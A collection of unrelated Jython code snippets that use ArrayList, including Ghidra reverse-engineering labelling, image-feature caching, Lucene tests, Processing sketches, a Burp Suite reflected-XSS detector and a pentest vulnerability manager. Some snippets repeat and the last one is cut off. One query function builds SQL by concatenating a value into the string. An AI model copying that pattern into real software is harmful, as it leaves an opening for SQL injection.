def detectIndirectStringReferences(): listing = currentProgram.getListing() memory = currentProgram.getMemory() symbolTable = currentProgram.getSymbolTable() monitor.setMessage("Labeling Indirect References To Strings") strAddrSet = ArrayList() dataIterator = listing.getDefinedData(True) while (dataIterator.hasNext() and not monitor.isCancelled()): nextData = dataIterator.next() strType = nextData.getDataType().getName().lower() if ("unicode" in strType or "string" in strType): strAddrSet.add(nextData.getMinAddress()) if (strAddrSet.size() == 0): popup("No strings found. Try running 'Search -> For Strings...' first.") return 0; for i in range(strAddrSet.size()): strAddr = strAddrSet.get(i) allRefAddrs = findAllReferences(strAddr, monitor) for j in range(allRefAddrs.size()): refFromAddr = allRefAddrs.get(j) if (listing.getInstructionContaining(refFromAddr) == None): ## if not instruction and has addresses so its pointer refRef = getReferencesTo(refFromAddr) if (len(refRef) > 0): newLabel = "rep_ptr_" + str(listing.getDataAt(strAddr).getLabel()) + "_" + str(allRefAddrs.get(j)) print("[+] " + newLabel) symbolTable.createLabel(allRefAddrs.get(j), newLabel, USER_DEFINED) return 0
def ensureSIFTFeatures(filepath, paramsSIFT, properties, csvDir, validateByFileExists=False): """ filepath: to the image from which SIFT features have been or have to be extracted. params: dict of registration parameters, including the key "scale". paramsSIFT: FloatArray2DSIFT.Params instance. csvDir: directory into which serialized features have been or will be saved. load: function to load an image as an ImageProcessor from the filepath. validateByFileExists: whether to merely check that the .obj file exists as a quick form of validation. First check if serialized features exist for the image, and if the Params match. Otherwise extract the features and store them serialized. Returns the ArrayList of Feature instances. """ path = os.path.join(csvDir, os.path.basename(filepath) + ".SIFT-features.obj") if validateByFileExists: if os.path.exists(path): return True # An ArrayList whose last element is a mpicbg.imagefeatures.FloatArray2DSIFT.Param # and all other elements are mpicbg.imagefeatures.Feature features = deserialize(path) if os.path.exists(path) else None if features: if features.get(features.size() - 1).equals(paramsSIFT): features.remove(features.size() - 1) # removes the Params syncPrintQ("Loaded %i SIFT features for %s" % (features.size(), os.path.basename(filepath))) return features else: # Remove the file: paramsSIFT have changed os.remove(path) # Else, extract de novo: try: # Extract features imp = loadImp(filepath) ip = imp.getProcessor() paramsSIFT = paramsSIFT.clone() ijSIFT = SIFT(FloatArray2DSIFT(paramsSIFT)) features = ArrayList() # of Feature instances ijSIFT.extractFeatures(ip, features) ip = None imp.flush() imp = None features.add( paramsSIFT ) # append Params instance at the end for future validation serialize(features, path) features.remove(features.size() - 1) # to return without the Params for immediate use syncPrintQ("Extracted %i SIFT features for %s" % (features.size(), os.path.basename(filepath))) except: printException() return features
def testGroupLeaves1TooMuch(self): contexts = ArrayList().of_(AtomicReaderContext) contexts.add(DummyIndexReader.dummyIndexReader(10).getContext()) contexts.add(DummyIndexReader.dummyIndexReader(9).getContext()) contexts.add(DummyIndexReader.dummyIndexReader(8).getContext()) contexts.add(DummyIndexReader.dummyIndexReader(7).getContext()) contexts.add(DummyIndexReader.dummyIndexReader(6).getContext()) contexts.add(DummyIndexReader.dummyIndexReader(5).getContext()) result = self.sis.group_leaves_test(contexts, 5) self.assertEquals(5, result.size()) for i in range(4): context = ArrayList().of_(AtomicReaderContext).cast_(result.get(i)) self.assertEquals(1, context.size()) context = ArrayList().of_(AtomicReaderContext).cast_(result.get(4)) self.assertEquals(2, context.size())
def testGroupLeaves(self): contexts = ArrayList().of_(AtomicReaderContext) contexts.add(DummyIndexReader.dummyIndexReader(10).getContext()) result = self.sis.group_leaves_test(contexts, 5) self.assertEquals(1, result.size()) firstContext = ArrayList().of_(AtomicReaderContext).cast_(result.get(0)) self.assertEquals(1, firstContext.size())
def execute(self): # # execute the set query # try: queryResult = ArrayList() queryResult = self.query.execute() size = queryResult.size() print "queryResult = ", queryResult print "queryResult size = ", size except: message = "RunTimeError executing TableQuery " import sys if sys.exc_info()[1] is not None: str = "%s" % sys.exc_info()[1] indx = str.find("\n") if indx > 0: message = message + str[:indx] print "Unexpected error:" + message return self.__makeNullResponse(message) # # process the results of the query # if queryResult is None or size==0: return self.__makeNullResponse("Error query returned no results") else: return self.__makeResponse(queryResult)
class Walker(object): def __init__(self): self.position = PVector(width / 2, height / 2) self.history = ArrayList() def display(self): stroke(0) fill(175) rectMode(CENTER) rect(self.position.x, self.position.y, 16, 16) beginShape() stroke(0) noFill() for v in self.history: vertex(v.x, v.y) endShape() # Randomly move up, down, left, right, or stay in one place def walk(self): vel = PVector(int(random(-2, 2)), int(random(-2, 2))) self.position.add(vel) print(self.position) # Stay on the screen self.position.x = constrain(self.position.x, 0, width - 1) self.position.y = constrain(self.position.y, 0, height - 1) self.history.add(self.position.get()) # print(self.history) if self.history.size() > 1000: self.history.remove(0)
def execute(self): # # execute the set query # try: queryResult = ArrayList() queryResult = self.query.execute() size = queryResult.size() print "queryResult = ", queryResult print "queryResult size = ", size except: message = "RunTimeError executing TableQuery " import sys if sys.exc_info()[1] is not None: str = "%s" % sys.exc_info()[1] indx = str.find("\n") if indx > 0: message = message + str[:indx] print "Unexpected error:" + message return self.__makeNullResponse(message) # # process the results of the query # if queryResult is None or size == 0: return self.__makeNullResponse("Error query returned no results") else: return self.__makeResponse(queryResult)
def test_ArrayList(self): """create ArrayList in JVM (from the JavaSet) """ arrayList = ArrayList(self.javaList) # print "created ArrayList:", arrayList, type(arrayList) self.assertEqual(self.javaList.size(), arrayList.size(), "ArrayList has same size") elem0 = arrayList.get(0) elem1 = arrayList.get(1) self.assertEqual(0, arrayList.indexOf(elem0), "same index position") self.assertEqual(1, arrayList.indexOf(elem1), "same index position") listElem0 = self.testList[0] listElem1 = self.testList[1] _type = self._primitive_types.get(elem0.getClass()) if _type is not None: elem0 = _type.class_.cast(elem0) elem1 = _type.class_.cast(elem1) self.assertEqual(elem0, listElem0, "should be equal: %s (%s) <-> %s (%s)" % ( elem0, type(elem0), listElem0, type(listElem0))) self.assertEqual(elem1, listElem1, "should be equal: %s (%s) <-> %s (%s)" % ( elem1, type(elem1), listElem1, type(listElem1))) self.assertEqual(type(elem0), type(listElem0), "should have same type: %s <-> %s" % ( type(elem0), type(listElem0))) self.assertNotEqual(elem0, elem1, "ArrayList: first element must NOT equal second element")
def _createAggregateScoreCollector(self, query, keyName): scoreCollectors = ArrayList().of_(ScoreSuperCollector if self._multithreaded else ScoreCollector) for coreName in query.cores: rankQuery = query.rankQueryFor(coreName) if rankQuery: scoreCollector = self.call[coreName].scoreCollector(keyName=query.keyName(coreName), query=rankQuery) scoreCollectors.add(scoreCollector) constructor = AggregateScoreSuperCollector if self._multithreaded else AggregateScoreCollector return constructor(keyName, scoreCollectors) if scoreCollectors.size() > 0 else None
def _createAggregateScoreCollector(self, query, keyName): scoreCollectors = ArrayList().of_( ScoreSuperCollector if self._multithreaded else ScoreCollector) for coreName in query.cores: rankQuery = query.rankQueryFor(coreName) if rankQuery: scoreCollector = self.call[coreName].scoreCollector( keyName=query.keyName(coreName), query=rankQuery) scoreCollectors.add(scoreCollector) constructor = AggregateScoreSuperCollector if self._multithreaded else AggregateScoreCollector return constructor( keyName, scoreCollectors) if scoreCollectors.size() > 0 else None
def execute(self): # # set up the db query for grib plugin # if self.pluginName == 'grib': # # Construct the SQL query to retrieve record IDs from bufrua table # gridIdQueryHead = "SELECT DISTINCT id FROM " + self.tableName + " WHERE modelname='" gridIdQueryTail = "'" gridIdQuery = gridIdQueryHead + self.gridName + gridIdQueryTail # # # Create an instance of SQL Query and execute it # self.sqlGridIDQuery = SqlQueryTask(gridIdQuery) sqlGridIDQueryResults = self.sqlGridIDQuery.execute() # # Retrieve the rows into the ArrayList of grid IDs # gridID = ArrayList() gridID = sqlGridIDQueryResults.getRows() gridIDList = ArrayList() for gid in gridID: strID = "%s" % gid gridIDList.add(strID[1:-1]) szID = gridIDList.size() if szID == 0: return self.makeNullResponse() singleGridId = gridIDList.get(0) self.query.setCount(1) modelInfoId = "%s" % singleGridId #print "modelInfoId=", modelInfoId self.query.addParameter("modelInfo.id","%s" % singleGridId) # # set up the db query for ncgrib plugin # elif self.pluginName == 'ncgrib': self.query.addParameter("modelInfo.modelName","%s" % self.gridName) # if (self.eventName != None): # self.query.addParameter("modelInfo.eventName","%s" % self.eventName) self.query.setCount(1) # # execute the query # self.queryResults = self.query.execute() if self.queryResults is None or self.queryResults.size() == 0: self.makeNullResponse() else: return self.__makeResponse()
def test_ArrayList(self): """create ArrayList in JVM (from the JavaSet) """ arrayList = ArrayList(self.javaSet) # print "created ArrayList:", arrayList, type(arrayList) self.assertEqual(self.javaSet.size(), arrayList.size(), "ArrayList has same size") elem0 = arrayList.get(0) elem1 = arrayList.get(1) # print "ArrayList: first element: %s (%s) indexOf=%d" % (elem0,type(elem0), arrayList.indexOf(elem0)) # print "ArrayList: second element: %s (%s) indexOf=%d" % (elem1,type(elem1), arrayList.indexOf(elem1)) self.assertFalse(elem0.equals(elem1), "ArrayList: first element must NOT equal second element") self.assertNotEqual(elem0, elem1, "ArrayList: first element must NOT equal second element")
def itemStateChanged(self, e): oldLog = self._extender._log newLog = ArrayList() for logEntry in oldLog: if self._extender.menuES0.getState() == True and self._extender.menuES0.getText() == logEntry._enfocementStatus: newLog.add(logEntry) if self._extender.menuES1.getState() == True and self._extender.menuES1.getText() == logEntry._enfocementStatus: newLog.add(logEntry) if self._extender.menuES2.getState() == True and self._extender.menuES2.getText() == logEntry._enfocementStatus: newLog.add(logEntry) self._extender._log = newLog self._extender._lock.acquire() row = newLog.size() self._extender.fireTableRowsInserted(row, row) self._extender._lock.release()
def getAffFromRVSTransformPath(path): theList = ArrayList(HashSet()) read = CoordinateTransformXML.parse(path) if type(read) == CoordinateTransformList: read.getList(theList) else: theList.add(read) if theList.size() == 1: # because RVS either stores only one affine or one affine and one translation aff = theList.get(0).createAffine() else: aff = theList.get(0).createAffine() aff1 = theList.get(1).createAffine() aff.preConcatenate(aff1) # option 2 return aff
def testGroupLeavesAllDouble(self): contexts = ArrayList().of_(AtomicReaderContext) contexts.add(DummyIndexReader.dummyIndexReader(10).getContext()) contexts.add(DummyIndexReader.dummyIndexReader(9).getContext()) contexts.add(DummyIndexReader.dummyIndexReader(8).getContext()) contexts.add(DummyIndexReader.dummyIndexReader(7).getContext()) contexts.add(DummyIndexReader.dummyIndexReader(6).getContext()) contexts.add(DummyIndexReader.dummyIndexReader(5).getContext()) contexts.add(DummyIndexReader.dummyIndexReader(4).getContext()) contexts.add(DummyIndexReader.dummyIndexReader(3).getContext()) contexts.add(DummyIndexReader.dummyIndexReader(2).getContext()) contexts.add(DummyIndexReader.dummyIndexReader(1).getContext()) result = self.sis.group_leaves_test(contexts, 5) self.assertEquals(5, result.size()) for i in range(5): context = ArrayList().of_(AtomicReaderContext).cast_(result.get(i)) self.assertEquals(2, context.size()) totalDocs = AtomicReaderContext.cast_(context.get(0)).reader().numDocs() + AtomicReaderContext.cast_(context.get(1)).reader().numDocs() self.assertEquals(11, totalDocs)
class Walker(object): def __init__(self): self.position = PVector(width/2, height/2) self.velocity = PVector() self.acceleration = PVector() self.history = ArrayList() self.noff = PVector(random(1000), random(1000)) def display(self): stroke(0) fill(175) rectMode(CENTER) rect(self.position.x, self.position.y, 16, 16) beginShape() stroke(0) noFill() for v in self.history: vertex(v.x, v.y) endShape() # Randomly move up, down, left, right, or stay in one place def walk(self): self.acceleration.x = map(noise(self.noff.x), 0, 1, -1, 1) self.acceleration.y = map(noise(self.noff.y), 0, 1, -1, 1) self.acceleration.mult(0.1) # Multiply a vector by a scalar self.noff.add(0.01, 0.01, 0) self.velocity.add(self.acceleration) self.velocity.limit(1) # Limit the magnitude of the vector self.position.add(self.velocity) self.history.add(self.position.get()) if self.history.size() > 1000 : self.history.remove(0) # Stay on the screen self.position.x = constrain(self.position.x, 0, width-1) self.position.y = constrain(self.position.y, 0, height-1)
def itemStateChanged(self, e): oldLog = self._extender._log newLog = ArrayList() for logEntry in oldLog: if self._extender.menuES0.getState( ) == True and self._extender.menuES0.getText( ) == logEntry._enfocementStatus: newLog.add(logEntry) if self._extender.menuES1.getState( ) == True and self._extender.menuES1.getText( ) == logEntry._enfocementStatus: newLog.add(logEntry) if self._extender.menuES2.getState( ) == True and self._extender.menuES2.getText( ) == logEntry._enfocementStatus: newLog.add(logEntry) self._extender._log = newLog self._extender._lock.acquire() row = newLog.size() self._extender.fireTableRowsInserted(row, row) self._extender._lock.release()
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel): def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("Reflected XSS Detector") # create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._lock = Lock() # main split pane self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT) # table of log entries logTable = Table(self) scrollPane = JScrollPane(logTable) self._splitpane.setLeftComponent(scrollPane) logTable.addMouseListener( CMouseListener(self) ) # tabs with request/response viewers tabs = JTabbedPane() self._requestViewer = callbacks.createMessageEditor(self, False) self._responseViewer = callbacks.createMessageEditor(self, False) tabs.addTab("Response", self._responseViewer.getComponent()) tabs.addTab("Request", self._requestViewer.getComponent()) self._splitpane.setRightComponent(tabs) # customize our UI components callbacks.customizeUiComponent(self._splitpane) callbacks.customizeUiComponent(logTable) callbacks.customizeUiComponent(scrollPane) callbacks.customizeUiComponent(tabs) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # register ourselves as an HTTP listener callbacks.registerHttpListener(self) return # # implement ITab # def getTabCaption(self): return "R-XSS Detector" def getUiComponent(self): return self._splitpane # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): if not messageIsRequest: # create a new log entry with the message details mi = self._callbacks.saveBuffersToTempFiles(messageInfo) tmp = self._helpers.analyzeRequest(messageInfo).getParameters() response = bytearray(mi.getResponse()) self._lock.acquire() for p in tmp: if response.find(str(p.getValue())) > 0: row = self._log.size() headers = self._helpers.analyzeResponse(mi.getResponse()).getHeaders() cc = "" for h in headers: if h.find("Content-Type:") == 0: cc = h[14:].lower() accepted_ccs = ['text/html', 'application/json', 'application/x-javascript'] if cc in accepted_ccs: self._log.add( LogEntry(toolFlag, mi, self._helpers.analyzeRequest(messageInfo).getUrl(), p.getType(), p.getName(), p.getValue() ) ) self.fireTableRowsInserted(row, row) self._lock.release() return # # extend AbstractTableModel # def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 4 def getColumnName(self, columnIndex): if columnIndex == 0: return "Tool" if columnIndex == 1: return "URL" if columnIndex == 2: return "Status" if columnIndex == 3: return "Params" return "" def getRowAt(self, rowIndex): return self._log.get(rowIndex) def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: return self._callbacks.getToolName(logEntry._tool) if columnIndex == 1: return logEntry._url.toString() if columnIndex == 2: return logEntry._requestResponse.getStatusCode() if columnIndex == 3: types = ['GET','POST','COOKIE'] return str(logEntry._key)+" ("+types[logEntry._key_type]+") = "+logEntry._value return "" # # implement IMessageEditorController # this allows our request/response viewers to obtain details about the messages being displayed # def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): return self._currentlyDisplayedItem.getRequest() def getResponse(self): return self._currentlyDisplayedItem.getResponse()
def _roadDraw(p, final=0): global _edit1, _laneWidths, _doBackup, _skip, _radius, _roadCenterLine roadEdgeLeft = ArrayList() roadEdgeRight = ArrayList() _roadCenterLine = ArrayList() try: laneWidth = float(_edit1.text) except: laneWidth = p[0].distance(p[1]) roadWidth = laneWidth * 2.0 if p.size() == 3: _laneWidths = [laneWidth, laneWidth] _edit1.text = "%f" % laneWidth p.remove(0) if len(_laneWidths) < p.size(): _laneWidths.append(laneWidth) else: _laneWidths[-1] = laneWidth #handle the backup button for skip in _skip: p.remove(skip) skip = 0 if _doBackup: skip = p.size() - 2 #index of prior point _skip.append(skip) #we'll need it next time we get p[] _doBackup = 0 if skip > 1: #lane width skips can be handled now _laneWidths = _laneWidths[:skip] + _laneWidths[skip + 1:] if skip > 1: p.remove(skip) left = 1 right = 0 #crank in the initial road rectangle left and right edges roadEdgeLeft.add( GeoUtils.perpendicularVector(p[0], p[1], _laneWidths[0], left)) roadEdgeRight.add( GeoUtils.perpendicularVector(p[0], p[1], _laneWidths[0], left)) roadEdgeRight.add( GeoUtils.perpendicularVector(p[0], p[1], _laneWidths[0], right)) roadEdgeLeft.add( GeoUtils.perpendicularVector(p[1], p[0], _laneWidths[1], right)) roadEdgeRight.add( GeoUtils.perpendicularVector(p[1], p[0], _laneWidths[1], left)) _roadCenterLine.add(p[0]) _roadCenterLine.add(p[1]) #calculate the left and right edges of the rest of the road currPos = 1 endPos = p.size( ) - 1 #the last point in the array is the curr mouse pos adjusted by constraints perp1 = GeoUtils.perpendicularVector(p[1], p[0], roadWidth, right) while currPos < endPos: midPt = CU.add(p[currPos], CU.divide(CU.subtract(p[currPos + 1], p[currPos]), 2)) perp2 = GeoUtils.perpendicularVector(midPt, p[currPos], roadWidth, right) center = GeoUtils.getIntersection(p[currPos], perp1, midPt, perp2) if center.z == 0.0: #check for parallel vectors radius = center.distance(p[currPos]) d = p[currPos].distance(midPt) curved = radius / d < 50 #compare to tangent threshold else: curved = 0 if curved: #construct a circular curve circularArc = (_laneWidths[currPos] == _laneWidths[currPos + 1]) radius = center.distance(p[currPos]) toLeft = computeOrientation(p[currPos], perp1, p[currPos + 1]) == LEFT basePerp = GeoUtils.perpendicularVector(p[currPos], perp1, roadWidth, toLeft) toLeft = computeOrientation(p[currPos], basePerp, p[currPos + 1]) == LEFT radians = Angle.angleBetween(center, p[currPos], p[currPos + 1]) if circularArc: #left edge if toLeft: angle = -Angle.toDegrees(radians) ratio = (radius - _laneWidths[currPos]) / radius else: angle = Angle.toDegrees(radians) ratio = (radius + _laneWidths[currPos]) / radius arc = Arc(center, p[currPos], angle) arcPts = arc.getCoordinates() for pt in arcPts: _roadCenterLine.add(pt) start = CU.add( center, CU.multiply(ratio, CU.subtract(p[currPos], center))) arc = Arc(center, start, angle) arcPts = arc.getCoordinates() for pt in arcPts: roadEdgeLeft.add(pt) #right edge if toLeft: ratio = (radius + _laneWidths[currPos]) / radius else: ratio = (radius - _laneWidths[currPos]) / radius start = CU.add( center, CU.multiply(ratio, CU.subtract(p[currPos], center))) arc = Arc(center, start, angle) arcPts = arc.getCoordinates() for pt in arcPts: roadEdgeRight.add(pt) perp1.x = center.x perp1.y = center.y _radius = radius - _laneWidths[currPos] else: #smooth tangent non-circular curve #left edge if toLeft: angle = -Angle.toDegrees(radians) else: angle = Angle.toDegrees(radians) start = p[currPos] arc = Arc(center, start, angle) arcPts = arc.getCoordinates() for pt in arcPts: _roadCenterLine.add(pt) inc = (_laneWidths[currPos + 1] - _laneWidths[currPos]) / (arcPts.size() - 1) i = 0 for pt in arcPts: if toLeft: ratio = (radius - _laneWidths[currPos] - (i * inc)) / radius else: ratio = (radius + _laneWidths[currPos] + (i * inc)) / radius roadEdgeLeft.add( CU.add(center, CU.multiply(ratio, CU.subtract(pt, center)))) i += 1 #right edge i = 0 for pt in arcPts: if toLeft: ratio = (radius + _laneWidths[currPos] + (i * inc)) / radius else: ratio = (radius - _laneWidths[currPos] - (i * inc)) / radius roadEdgeRight.add( CU.add(center, CU.multiply(ratio, CU.subtract(pt, center)))) i += 1 perp1.x = center.x perp1.y = center.y _radius = radius - _laneWidths[currPos] else: #construct straight section of road roadEdgeLeft.add( GeoUtils.perpendicularVector(p[currPos + 1], p[currPos], _laneWidths[currPos + 1], right)) roadEdgeRight.add( GeoUtils.perpendicularVector(p[currPos + 1], p[currPos], _laneWidths[currPos + 1], left)) perp1 = GeoUtils.perpendicularVector(p[currPos + 1], p[currPos], _laneWidths[currPos + 1], right) _roadCenterLine.add(p[currPos + 1]) _radius = 0 currPos += 1 #if final: #uncomment to display click point feedback for debugging p.clear() #clear the click point array and replace with road edges for pt in roadEdgeLeft: p.add(pt) #trace right return path back to start i = roadEdgeRight.size() - 1 while i >= 0: p.add(roadEdgeRight[i]) i -= 1
class BurpExtender(IBurpExtender, ITab, IMessageEditorController, AbstractTableModel, IContextMenuFactory): def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("PT Vulnerabilities Manager") self.config = SafeConfigParser() self.createSection('projects') self.createSection('general') self.config.read('config.ini') self.chooser = JFileChooser() # create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._lock = Lock() self.logTable = Table(self) self.logTable.getColumnModel().getColumn(0).setMaxWidth(35) self.logTable.getColumnModel().getColumn(1).setMinWidth(100) self._requestViewer = self._callbacks.createMessageEditor(self, False) self._responseViewer = self._callbacks.createMessageEditor(self, False) self.initVulnerabilityTab() self.initProjSettingsTab() self.initTabs() self.initCallbacks() if self.projPath.getText() != None: self.loadVulnerabilities(self.projPath.getText()) print "Thank you for installing PT Vulnerabilities Manager v1.0 extension" print "by Barak Tawily\n\n\n" print "Disclaimer:\nThis extension might create folders and files in your hardisk which might be declared as sensitive information, make sure you are creating projects under encrypted partition" return def initVulnerabilityTab(self): # ## init vulnerability tab # nameLabel = JLabel("Vulnerability Name:") nameLabel.setBounds(10, 10, 140, 30) self.addButton = JButton("Add",actionPerformed=self.addVuln) self.addButton.setBounds(10, 500, 100, 30) rmVulnButton = JButton("Remove",actionPerformed=self.rmVuln) rmVulnButton.setBounds(465, 500, 100, 30) mitigationLabel = JLabel("Mitigation:") mitigationLabel.setBounds(10, 290, 150, 30) addSSBtn = JButton("Add SS",actionPerformed=self.addSS) addSSBtn.setBounds(750, 40, 110, 30) deleteSSBtn = JButton("Remove SS",actionPerformed=self.removeSS) deleteSSBtn.setBounds(750, 75, 110, 30) piclistLabel = JLabel("Images list:") piclistLabel.setBounds(580, 10, 140, 30) self.screenshotsList = DefaultListModel() self.ssList = JList(self.screenshotsList) self.ssList.setBounds(580, 40, 150, 250) self.ssList.addListSelectionListener(ssChangedHandler(self)) self.ssList.setBorder(BorderFactory.createLineBorder(Color.GRAY)) previewPicLabel = JLabel("Selected image preview: (click to open in image viewer)") previewPicLabel.setBounds(580, 290, 500, 30) copyImgMenu = JMenuItem("Copy") copyImgMenu.addActionListener(copyImg(self)) self.imgMenu = JPopupMenu("Popup") self.imgMenu.add(copyImgMenu) self.firstPic = JLabel() self.firstPic.setBorder(BorderFactory.createLineBorder(Color.GRAY)) self.firstPic.setBounds(580, 320, 550, 400) self.firstPic.addMouseListener(imageClicked(self)) self.vulnName = JTextField("") self.vulnName.getDocument().addDocumentListener(vulnTextChanged(self)) self.vulnName.setBounds(140, 10, 422, 30) sevirities = ["Unclassified", "Critical","High","Medium","Low"] self.threatLevel = JComboBox(sevirities); self.threatLevel.setBounds(140, 45, 140, 30) colors = ["Color:", "Green", "Red"] self.colorCombo = JComboBox(colors); self.colorCombo.setBounds(465, 45, 100, 30) self.colorCombo severityLabel = JLabel("Threat Level:") severityLabel.setBounds(10, 45, 100, 30) descriptionLabel = JLabel("Description:") descriptionLabel.setBounds(10, 80, 100, 30) self.descriptionString = JTextArea("", 5, 30) self.descriptionString.setWrapStyleWord(True); self.descriptionString.setLineWrap(True) self.descriptionString.setBounds(10, 110, 555, 175) descriptionStringScroll = JScrollPane(self.descriptionString) descriptionStringScroll.setBounds(10, 110, 555, 175) descriptionStringScroll.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_AS_NEEDED) self.mitigationStr = JTextArea("", 5, 30) self.mitigationStr.setWrapStyleWord(True); self.mitigationStr.setLineWrap(True) self.mitigationStr.setBounds(10, 320, 555, 175) mitigationStrScroll = JScrollPane(self.mitigationStr) mitigationStrScroll.setBounds(10, 320, 555, 175) mitigationStrScroll.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_AS_NEEDED) self.pnl = JPanel() self.pnl.setBounds(0, 0, 1000, 1000); self.pnl.setLayout(None); self.pnl.add(addSSBtn) self.pnl.add(piclistLabel) self.pnl.add(nameLabel) self.pnl.add(deleteSSBtn) self.pnl.add(rmVulnButton) self.pnl.add(severityLabel) self.pnl.add(mitigationLabel) self.pnl.add(descriptionLabel) self.pnl.add(previewPicLabel) self.pnl.add(mitigationStrScroll) self.pnl.add(descriptionStringScroll) self.pnl.add(self.ssList) self.pnl.add(self.firstPic) self.pnl.add(self.addButton) self.pnl.add(self.vulnName) self.pnl.add(self.threatLevel) self.pnl.add(self.colorCombo) def initProjSettingsTab(self): # init project settings projNameLabel = JLabel("Name:") projNameLabel.setBounds(10, 50, 140, 30) self.projName = JTextField("") self.projName.setBounds(140, 50, 320, 30) self.projName.getDocument().addDocumentListener(projTextChanged(self)) detailsLabel = JLabel("Details:") detailsLabel.setBounds(10, 120, 140, 30) reportLabel = JLabel("Generate Report:") reportLabel.setBounds(10, 375, 140, 30) types = ["DOCX","HTML","XLSX"] self.reportType = JComboBox(types) self.reportType.setBounds(10, 400, 140, 30) generateReportButton = JButton("Generate", actionPerformed=self.generateReport) generateReportButton.setBounds(160, 400, 90, 30) self.projDetails = JTextArea("", 5, 30) self.projDetails.setWrapStyleWord(True); self.projDetails.setLineWrap(True) projDetailsScroll = JScrollPane(self.projDetails) projDetailsScroll.setBounds(10, 150, 450, 175) projDetailsScroll.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_AS_NEEDED) projPathLabel = JLabel("Path:") projPathLabel.setBounds(10, 90, 140, 30) self.projPath = JTextField("") self.projPath.setBounds(140, 90, 320, 30) chooseProjPathButton = JButton("Browse...",actionPerformed=self.chooseProjPath) chooseProjPathButton.setBounds(470, 90, 100, 30) importProjButton = JButton("Import",actionPerformed=self.importProj) importProjButton.setBounds(470, 10, 100, 30) exportProjButton = JButton("Export",actionPerformed=self.exportProj) exportProjButton.setBounds(575, 10, 100, 30) openProjButton = JButton("Open Directory",actionPerformed=self.openProj) openProjButton.setBounds(680, 10, 130, 30) currentProjectLabel = JLabel("Current:") currentProjectLabel.setBounds(10, 10, 140, 30) projects = self.config.options('projects') self.currentProject = JComboBox(projects) self.currentProject.addActionListener(projectChangeHandler(self)) self.currentProject.setBounds(140, 10, 140, 30) self.autoSave = JCheckBox("Auto Save Mode") self.autoSave.setEnabled(False) # implement this feature self.autoSave.setBounds(300, 10, 140, 30) self.autoSave.setToolTipText("Will save any changed value while focus is out") addProjButton = JButton("Add / Update",actionPerformed=self.addProj) addProjButton.setBounds(10, 330, 150, 30) removeProjButton = JButton("Remove Current",actionPerformed=self.rmProj) removeProjButton.setBounds(315, 330, 146, 30) generalOptions = self.config.options('general') if 'default project' in generalOptions: defaultProj = self.config.get('general','default project') self.currentProject.getModel().setSelectedItem(defaultProj) self.projPath.setText(self.config.get('projects',self.currentProject.getSelectedItem())) self.clearProjTab = True self.projectSettings = JPanel() self.projectSettings.setBounds(0, 0, 1000, 1000) self.projectSettings.setLayout(None) self.projectSettings.add(reportLabel) self.projectSettings.add(detailsLabel) self.projectSettings.add(projPathLabel) self.projectSettings.add(addProjButton) self.projectSettings.add(openProjButton) self.projectSettings.add(projNameLabel) self.projectSettings.add(projDetailsScroll) self.projectSettings.add(importProjButton) self.projectSettings.add(exportProjButton) self.projectSettings.add(removeProjButton) self.projectSettings.add(generateReportButton) self.projectSettings.add(chooseProjPathButton) self.projectSettings.add(currentProjectLabel) self.projectSettings.add(self.projPath) self.projectSettings.add(self.autoSave) self.projectSettings.add(self.projName) self.projectSettings.add(self.reportType) self.projectSettings.add(self.currentProject) def initTabs(self): # ## init autorize tabs # self._splitpane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT) self.scrollPane = JScrollPane(self.logTable) self._splitpane.setLeftComponent(self.scrollPane) colorsMenu = JMenu("Paint") redMenu = JMenuItem("Red") noneMenu = JMenuItem("None") greenMenu = JMenuItem("Green") redMenu.addActionListener(paintChange(self, "Red")) noneMenu.addActionListener(paintChange(self, None)) greenMenu.addActionListener(paintChange(self, "Green")) colorsMenu.add(redMenu) colorsMenu.add(noneMenu) colorsMenu.add(greenMenu) self.menu = JPopupMenu("Popup") self.menu.add(colorsMenu) self.tabs = JTabbedPane() self.tabs.addTab("Request", self._requestViewer.getComponent()) self.tabs.addTab("Response", self._responseViewer.getComponent()) self.tabs.addTab("Vulnerability", self.pnl) self.tabs.addTab("Project Settings", self.projectSettings) self.tabs.setSelectedIndex(2) self._splitpane.setRightComponent(self.tabs) def initCallbacks(self): # ## init callbacks # # customize our UI components self._callbacks.customizeUiComponent(self._splitpane) self._callbacks.customizeUiComponent(self.logTable) self._callbacks.customizeUiComponent(self.scrollPane) self._callbacks.customizeUiComponent(self.tabs) self._callbacks.registerContextMenuFactory(self) # add the custom tab to Burp's UI self._callbacks.addSuiteTab(self) def loadVulnerabilities(self, projPath): self.clearList(None) selected = False for root, dirs, files in os.walk(projPath): # make it go only for dirs for dirName in dirs: xmlPath = projPath+"/"+dirName+"/vulnerability.xml" # xmlPath = xmlPath.replace("/","//") document = self.getXMLDoc(xmlPath) nodeList = document.getDocumentElement().getChildNodes() vulnName = nodeList.item(0).getTextContent() severity = nodeList.item(1).getTextContent() description = nodeList.item(2).getTextContent() mitigation = nodeList.item(3).getTextContent() color = nodeList.item(4).getTextContent() test = vulnerability(vulnName,severity,description,mitigation,color) self._lock.acquire() row = self._log.size() self._log.add(test) self.fireTableRowsInserted(row, row) self._lock.release() if vulnName == self.vulnName.getText(): self.logTable.setRowSelectionInterval(row,row) selected = True if selected == False and self._log.size() > 0: self.logTable.setRowSelectionInterval(0, 0) self.loadVulnerability(self._log.get(0)) def createSection(self, sectioName): self.config.read('config.ini') if not (sectioName in self.config.sections()): self.config.add_section(sectioName) cfgfile = 